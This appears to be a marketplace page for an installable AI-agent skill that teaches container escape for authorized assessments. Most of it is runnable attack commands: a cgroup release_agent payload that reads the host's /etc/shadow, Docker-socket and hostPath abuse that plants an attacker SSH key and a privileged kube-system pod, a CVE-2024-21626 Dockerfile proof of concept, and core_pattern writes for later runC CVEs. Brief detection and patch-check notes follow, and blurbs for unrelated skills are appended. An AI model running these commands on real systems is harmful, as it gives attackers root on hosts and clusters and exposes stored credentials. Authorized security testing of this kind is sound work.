external/anthropic-cybersecurity-skills/skills/escaping-containers-to-host/SKILL.md
Exploit privileged pods, host mounts, runC CVEs, and exposed Docker sockets to break out of a container and reach the underlying host during authorized container-security assessments.
npx skillsauth add seikaikyo/dash-skills escaping-containers-to-hostInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Legal Notice: This skill is for authorized security testing and educational purposes only. Container breakout grants full host compromise. Only run these techniques against systems you own or have explicit written authorization to test. Unauthorized use is illegal and may violate computer fraud laws.
Container escape (MITRE ATT&CK T1611, Escape to Host) is the act of breaking the isolation boundary between a container and the host operating system, giving an attacker code execution in the host namespace — and, on Kubernetes, frequently a route to the entire node and then the cluster. Containers share the host kernel and rely on namespaces, cgroups, capabilities, seccomp, and LSMs (AppArmor/SELinux) for isolation. When any of these controls are weakened (a --privileged container, a mounted Docker socket, a hostPath mount of /, excess Linux capabilities such as CAP_SYS_ADMIN) or when a runtime contains a vulnerability, that boundary collapses.
This skill covers the four highest-impact, real-world escape primitives observed by Sysdig, Unit 42, and the runC maintainers:
CAP_SYS_ADMIN, host PID/IPC/Network namespaces, and hostPath mounts./var/run/docker.sock) — mounting the daemon socket into a container hands an attacker root on the host via a new privileged container./proc/self/fd/7/8) referencing the host filesystem before pivot_root; setting the container working directory to that fd lands the process on the host. Patched in runC 1.1.12 (containerd 1.6.28/1.7.13, Docker 25.0.2)./dev/null, /dev/console, and other bind mounts performed before runC applies maskedPaths/readonlyPaths, allowing read-write access to /proc entries (e.g. /proc/sysrq-trigger, core_pattern) and arbitrary write redirection. Patched in runC 1.2.8, 1.3.3, and 1.4.0-rc.3.Sources: Palo Alto Networks "Leaky Vessels" advisory; Sysdig "New runc vulnerabilities allow container escape" (2025); opencontainers/runc security advisories GHSA-cgrx-mc8f-2prm and GHSA-9493-h29p-rfm2; Unit 42 container-escape research.
# deepce - Docker enumeration and escape
git clone https://github.com/stealthcopter/deepce.git
# amicontained - container introspection (capabilities, seccomp, namespaces)
curl -L https://github.com/genuinetools/amicontained/releases/download/v0.4.9/amicontained-linux-amd64 -o amicontained
chmod +x amicontained
# CDK - zero-dependency K8s/container pentest toolkit
curl -L https://github.com/cdk-team/CDK/releases/latest/download/cdk_linux_amd64 -o cdk
chmod +x cdk
/etc/shadow access, or a host file write)| Technique ID | Name | Tactic | |--------------|------|--------| | T1611 | Escape to Host | Privilege Escalation | | T1610 | Deploy Container | Defense Evasion / Execution | | T1613 | Container and Resource Discovery | Discovery | | T1068 | Exploitation for Privilege Escalation | Privilege Escalation |
Determine privilege level, capabilities, namespaces, and mounted host paths.
# Quick capability + namespace + seccomp introspection
./amicontained
# Are we privileged? CapEff ending in ...ffffffff is "all caps"
grep CapEff /proc/self/status
capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}')
# Host filesystem or docker socket mounted in?
mount | grep -E 'docker.sock|hostPath|/host'
ls -la /var/run/docker.sock 2>/dev/null
findmnt -o TARGET,SOURCE,FSTYPE,OPTIONS
# Sharing host namespaces? (host PID = can see host processes)
ps aux | head # if you see systemd/host pids, hostPID:true
ls -la /proc/1/root # if readable as host root, namespace is shared
# Automated enumeration
./deepce.sh
./cdk evaluate
A --privileged container (or one with CAP_SYS_ADMIN) can mount a cgroup hierarchy and abuse the release_agent to run a command on the host when the last process in a cgroup exits.
# Confirm we can mount (CAP_SYS_ADMIN present)
# Create a cgroup mount and enable release_agent notification
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp 2>/dev/null || \
mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
# Find the container rootfs path on the host
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -1)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# Payload that runs on the HOST
cat > /cmd <<'EOF'
#!/bin/sh
ps aux > /output
hostname >> /output
cat /etc/shadow >> /output
EOF
chmod +x /cmd
# Trigger: spawn and immediately exit a process in the cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output # host process list / shadow proves escape
If /var/run/docker.sock is bind-mounted into the container, you control the host Docker daemon and can launch a new container that mounts the host root.
# Confirm reachability
docker -H unix:///var/run/docker.sock version 2>/dev/null || \
curl -s --unix-socket /var/run/docker.sock http://localhost/version
# Launch a privileged container mounting host / and chroot into it
docker -H unix:///var/run/docker.sock run -it --rm \
--privileged --net=host --pid=host \
-v /:/host alpine chroot /host sh
# Pure-curl variant (no docker CLI in container):
curl -s -XPOST --unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /host/etc/shadow"],
"Binds":["/:/host"],"Privileged":true}' \
http://localhost/containers/create?name=esc
curl -s -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/esc/start
A pod with a hostPath volume of / (or a sensitive host dir) lets you read/write host files directly — e.g., drop a root SSH key or a privileged static pod manifest.
# If /host is the hostPath mount of node root:
ls /host
# Persist: add an attacker key for node root login
mkdir -p /host/root/.ssh
echo "ssh-ed25519 AAAA... attacker@kali" >> /host/root/.ssh/authorized_keys
# Or write a privileged static pod manifest that kubelet will auto-run as root
cat > /host/etc/kubernetes/manifests/pwn.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: pwn, namespace: kube-system}
spec:
hostPID: true
containers:
- name: pwn
image: alpine
command: ["/bin/sh","-c","sleep 1d"]
securityContext: {privileged: true}
volumeMounts: [{name: host, mountPath: /host}]
volumes: [{name: host, hostPath: {path: /}}]
EOF
If the runtime is runC <= 1.1.11, the leaked host-cwd fd can be used. With docker build/docker run control, set the working directory to /proc/self/fd/<N> (commonly 7 or 8).
# Detect vulnerable runtime version (host or via runc binary in image)
runc --version # vulnerable: 1.0.0-rc93 .. 1.1.11
docker info --format '{{.DefaultRuntime}}'
# Proof-of-concept via a malicious image WORKDIR (run-time variant)
cat > Dockerfile <<'EOF'
FROM alpine
# fd 7/8 leaked by runc references the HOST cwd before pivot_root
WORKDIR /proc/self/fd/8
RUN ["/bin/sh","-c","cd ../../../../ ; cat etc/shadow ; cat etc/hostname"]
EOF
docker build --no-cache -t leaky .
# Run-time variant: the container lands in a host directory
docker run --rm --workdir /proc/self/fd/8 alpine \
sh -c 'cd ../../../.. && cat etc/shadow'
# Reference PoC: github.com/strikoder/cve-2024-21626-runc-1.1.11-escape
For runC <= 1.2.7 / 1.3.2 / 1.4.0-rc.2, CVE-2025-31133/52565/52881 abuse a race between the /dev/null//dev/console bind mount and the application of maskedPaths, replacing the mount target with a symlink so a host /proc entry becomes writable. Writing core_pattern or /proc/sysrq-trigger yields host code execution.
# Confirm vulnerable runtime
runc --version # vulnerable: <= 1.2.7, 1.3.2, 1.4.0-rc.2
# Conceptual exploitation flow (use maintainers' PoC in a lab):
# 1. Start a container that, during init, swaps the /dev/console (or a
# custom device) bind-mount target for a symlink to /proc/sysrq-trigger.
# 2. Win the race so runc bind-mounts it read-write before maskedPaths apply.
# 3. Redirect a write to host procfs:
echo c > /proc/sysrq-trigger # would crash host (DoS) - demonstrates RW
# 4. For code exec, redirect the write to /proc/sys/kernel/core_pattern:
echo '|/bin/sh -c "id>/host_pwn"' > /proc/sys/kernel/core_pattern
# then trigger a core dump in any host-visible process.
# Advisories: GHSA-cgrx-mc8f-2prm, GHSA-9493-h29p-rfm2
# Verify runtimes are patched
runc --version # want >= 1.2.8 / 1.3.3 / 1.4.0-rc.3 (and != vuln 1.1.x)
docker version --format '{{.Server.Version}}' # >= 25.0.2 for CVE-2024-21626
containerd --version # >= 1.6.28 / 1.7.13
# Confirm hardening for misconfig escapes
docker inspect <ctr> --format '{{.HostConfig.Privileged}}' # want false
kubectl get pod <pod> -o jsonpath='{.spec.containers[*].securityContext}'
| Tool | Purpose | Source | |------|---------|--------| | amicontained | Capability/namespace/seccomp introspection | https://github.com/genuinetools/amicontained | | deepce | Docker enumeration & escape automation | https://github.com/stealthcopter/deepce | | CDK | Container/K8s penetration toolkit | https://github.com/cdk-team/CDK | | runc PoC (CVE-2024-21626) | Leaky Vessels reference exploit | https://github.com/strikoder/cve-2024-21626-runc-1.1.11-escape | | Sysdig runc 2025 advisory | CVE-2025-31133/52565/52881 analysis | https://www.sysdig.com/blog/runc-container-escape-vulnerabilities | | Palo Alto Leaky Vessels | CVE-2024-21626 deep dive | https://www.paloaltonetworks.com/blog/cloud-security/leaky-vessels-vulnerabilities-container-escape/ |
| Primitive | Root Cause | Detection Signal |
|-----------|-----------|------------------|
| Privileged container | --privileged / CAP_SYS_ADMIN | mount of cgroup, write to release_agent |
| Docker socket mount | /var/run/docker.sock bind-mounted | Daemon API call from a container |
| hostPath / mount | Pod mounts node root | Write to /host/etc/kubernetes/manifests |
| CVE-2024-21626 | runC fd leak before pivot_root | WORKDIR/cwd =/proc/self/fd/N |
| CVE-2025-31133/52565/52881 | procfs write redirect via mount race | RW mount of /dev/console, write to /proc/sysrq-trigger |
/etc/shadow / host file write captured)development
拋棄式 HTML mockup 比稿:產出 2 到 3 個設計立場不同的變體(密度 / 版式 / 強調軸,不是換色),各附取捨說明,最後給有立場的對比結論。適用:「畫個草圖」「比較 A 版 B 版」「先看方向再做」「給我看幾種做法」。要 production 元件或設計已定案時不適用。
tools
需求不明時的意圖萃取訪談:一次一題、每題附上自己的猜測、聽出「真正想要 vs 覺得應該要」,直到能預測使用者反應(約 95% 信心)才動工。適用:需求缺少對象 / 動機 / 成功標準 / 約束,或使用者點名「訪談我」「先確認一下」「我們確定嗎」。明確自足的指示、純資訊查詢、機械性操作不適用。
development
對非平凡決策啟動新鮮 context 對抗審查(找碴不背書),在修正還便宜的時候抓出錯誤方向。適用:高風險改動(production、資安敏感邏輯、不可逆操作)、不熟的程式碼、要宣稱「這樣是安全的 / 可行的」之前。機械性操作與一行修改不適用。
testing
Reference for writing and editing agent skills well — the vocabulary and principles that make a skill predictable. Consult when authoring, reviewing, or pruning a SKILL.md.